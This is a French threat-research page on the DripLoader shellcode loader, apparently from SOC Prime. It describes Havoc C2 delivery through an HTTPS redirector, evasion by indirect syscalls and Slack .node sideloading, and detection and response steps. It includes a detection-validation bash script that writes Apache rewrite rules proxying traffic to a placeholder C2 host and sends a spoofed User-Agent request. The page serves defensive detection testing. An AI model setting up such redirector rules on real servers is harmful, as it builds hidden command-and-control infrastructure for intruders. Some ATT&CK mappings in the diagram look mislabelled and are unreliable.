SOC Prime Bias: Moyen

27 Nov 2025 19:23

DripLoader Malware : Exécution de Shellcode et Évasion de la Défense

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DripLoader Malware : Exécution de Shellcode et Évasion de la Défense
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’article examine DripLoader, un chargeur de shellcode qui alloue de la mémoire, y écrit le shellcode, modifie les permissions de la page en exécutable, puis l’exécute. Il couvre comment le chargeur est livré via un redirectionneur HTTPS soutenu par le cadre Havoc C2, et comment son code peut être obfusqué avec compression et appels système indirects. Le rapport présente également une variante améliorée, DripLoaderNG, qui repose sur le sideloading .node et des astuces d’évasion supplémentaires, ainsi que des conseils pratiques de détection et des outils d’analyse mémoire.

Investigation

L’enquête décrit une configuration de laboratoire où Havoc envoie du shellcode compressé via un redirectionneur Apache personnalisé. Le chargeur réserve des régions de 64 Ko, engage des pages de 4 Ko, modifie les drapeaux de protection et exécute la charge utile. DripLoaderNG introduit des appels système indirects et le sideloading de module .node visant l’application Slack Electron. La détection est démontrée en utilisant des outils tels que Moneta, PE-sieve, et des requêtes KQL de support.

Atténuation

Les mesures d’atténuation incluent la surveillance des redirections HTTPS suspectes, la détection de chaînes User-Agent falsifiées, la signalisation de fichiers .node rares, et l’utilisation des fonctionnalités EDR pour identifier le comportement des appels système indirects. D’autres recommandations impliquent l’ajustement des configurations de Sliver/Donut pour réduire le bourrage AMSI et limiter l’exécution de modules natifs non signés.

Réponse

Lorsque l’activité est détectée, isolez le point de terminaison impacté, arrêtez le processus fautif, capturez des dumps de mémoire et inspectez le shellcode injecté. Bloquez le domaine ou l’IP C2, réinitialisez les identifiants exposés, et déployez des règles défensives pour les indicateurs User-Agent et fichier .node spécifiques. Suivez par une analyse légale et rafraîchissez le contenu de détection pour couvrir les motifs d’appels système indirects observés.

mermaid graph TB %% Class Definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique Nodes step_initial_access[« <b>Technique</b> – <b>T1090 Proxy</b><br/><b>Description</b>: Utilise des redirections HTTPS et un User-Agent usurpé pour livrer des charges malveillantes et établir des communications de commandement et de contrôle via le trafic web. »] class step_initial_access technique step_c2[« <b>Technique</b> – <b>T1102.002 Service Web : Communication Bidirectionnelle</b><br/><b>Description</b>: Communique avec l’attaquant via des services Web HTTPS, permettant un commandement et un contrôle bidirectionnels. »] class step_c2 technique step_obfusc_compress[« <b>Technique</b> – <b>T1027.015 Compression</b><br/><b>Description</b>: La charge utile est compressée avec LZMS pour cacher son contenu à l’analyse statique et aux défenses basées sur la signature. »] class step_obfusc_compress technique step_obfusc_compile[« <b>Technique</b> – <b>T1027.004 Compilation après livraison</b><br/><b>Description</b>: La charge utile est compilée après livraison pour échapper davantage à la détection. »] class step_obfusc_compile technique step_process_injection[« <b>Technique</b> – <b>T1055.002 Injection de Fichier Exécutable Portable</b><br/><b>Description</b>: DripLoader alloue de la mémoire virtuelle, copie le shellcode, change les protections des pages et l’exécute dans un processus légitime. »] class step_process_injection technique step_reflective_loading[« <b>Technique</b> – <b>T1620 Chargement de Code Réfléchi</b><br/><b>Description</b>: Le chargeur reflète le shellcode copié en mémoire et l’exécute sans utiliser le chargeur du système d’exploitation. »] class step_reflective_loading technique step_dll_injection[« <b>Technique</b> – <b>T1055.001 Injection de Bibliothèque de Liaison Dynamique</b><br/><b>Description</b>: Module .node malveillant (un fichier DLL) est chargé en tant que side-load dans le processus Slack, permettant l’exécution du code sous une application de confiance. »] class step_dll_injection technique step_persistence[« <b>Technique</b> – <b>T1546.009 DLLs AppCert</b><br/><b>Description</b>: Le DLL side-loadé persiste en s’enregistrant en tant que DLL de Certification d’Application, assurant l’exécution au démarrage du système. »] class step_persistence technique step_evasion_cred_api[« <b>Technique</b> – <b>T1056.004 Hooking d’API de Credential</b><br/><b>Description</b>: Utilise des appels systèmes indirects pour appeler les APIs natives de Windows, contournant les hooks EDR en mode utilisateur. »] class step_evasion_cred_api technique step_evasion_indicator_removal[« <b>Technique</b> – <b>T1027.005 Suppression d’Indicateur depuis les Outils</b><br/><b>Description</b>: Modifie la configuration de Sliver/Donut pour désactiver le patch AMIS, empêchant la détection par les moteurs antimalware. »] class step_evasion_indicator_removal technique step_evasion_stripped[« <b>Technique</b> – <b>T1027.008 Charges Utiles Dépouillées</b><br/><b>Description</b>: Supprime les informations de débogage et de métadonnées de la charge pour réduire les artefacts légaux. »] class step_evasion_stripped technique step_masquerade[« <b>Technique</b> – <b>T1036.008 Déguisement de Type de Fichier</b><br/><b>Description</b>: Renomme le fichier .node malveillant pour apparaître comme un module natif légitime, se fondant avec les fichiers d’application attendus. »] class step_masquerade technique step_server_component[« <b>Technique</b> – <b>T1505.003 Composant de Logiciel Serveur : Coquille Web</b><br/><b>Description</b>: Transfère les shellcodes et les binaires de chargeur via le redirecteur Web, puis les décompresse et les exécute sur la cible. »] class step_server_component technique %% Operator Nodes op_obfusc((« ET »)) class op_obfusc operator op_evasion((« ET »)) class op_evasion operator %% Connections step_initial_access u002du002d>|mène à| step_c2 step_c2 u002du002d>|mène à| step_obfusc_compress step_c2 u002du002d>|mène à| step_obfusc_compile step_obfusc_compress u002du002d>|fait partie de| op_obfusc step_obfusc_compile u002du002d>|fait partie de| op_obfusc op_obfusc u002du002d>|mène à| step_process_injection step_process_injection u002du002d>|mène à| step_reflective_loading step_reflective_loading u002du002d>|mène à| step_dll_injection step_dll_injection u002du002d>|mène à| step_persistence step_persistence u002du002d>|mène à| step_evasion_cred_api step_persistence u002du002d>|mène à| step_evasion_indicator_removal step_persistence u002du002d>|mène à| step_evasion_stripped step_evasion_cred_api u002du002d>|fait partie de| op_evasion step_evasion_indicator_removal u002du002d>|fait partie de| op_evasion step_evasion_stripped u002du002d>|fait partie de| op_evasion op_evasion u002du002d>|mène à| step_masquerade step_masquerade u002du002d>|mène à| step_server_component

Flux d’attaque

Exécution de simulation

Prérequis : La vérification pré-vol de télémétrie & ligne de base doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiées et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou sans rapport mèneront à une mauvaise évaluation.

  • Récit de l’attaque & Commandes :
    Un opérateur de l’infrastructure malveillante prépare le serveur web victime pour agir comme conduit vers le serveur C2. Ils insèrent deux Réécriture de règledirectives dans la configuration du serveur virtuel Apache : l’une qui proxifie tout le trafic entrant vers https://C2.TeamServer.IP:443 ([P] drapeau) et une seconde qui redirige toute requête vers une URL Google bénigne ([L,R=302]). Après avoir rechargé Apache, l’attaquant émet une requête HTTP fabriquée portant la chaîne User-Agent factice exacte définie dans la règle Sigma. Apache traite la requête, journalise le User-Agent, et le moteur de réécriture consigne l’action de proxy, satisfaisant les deux conditions de détection.

  • Script de test de régression :

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Script de validation de la détection DripLoader
    # -------------------------------------------------
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    # 1. Sauvegarder la configuration actuelle
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    # 2. Insérer des règles de réécriture malveillantes
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    # DÉBUT des règles de test DripLoader
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # FIN des règles de test DripLoader
    EOF"
    # 3. Recharger Apache pour appliquer les modifications
    sudo systemctl reload apache2
    # 4. Émettre une requête malveillante avec le User-Agent fabriqué exact
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, comme Gecko) Chrome/ Safari/537.366" http://localhost/
    echo "Requête malveillante envoyée. Vérifiez le SIEM pour l'alerte de détection."
  • Commandes de nettoyage :

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Nettoyage de la validation de détection DripLoader
    # -------------------------------------------------
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    # Restaurer la configuration d'origine
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "Configuration d'origine d'Apache restaurée."
    else
        echo "Sauvegarde non trouvée ; un nettoyage manuel peut être nécessaire."
    fi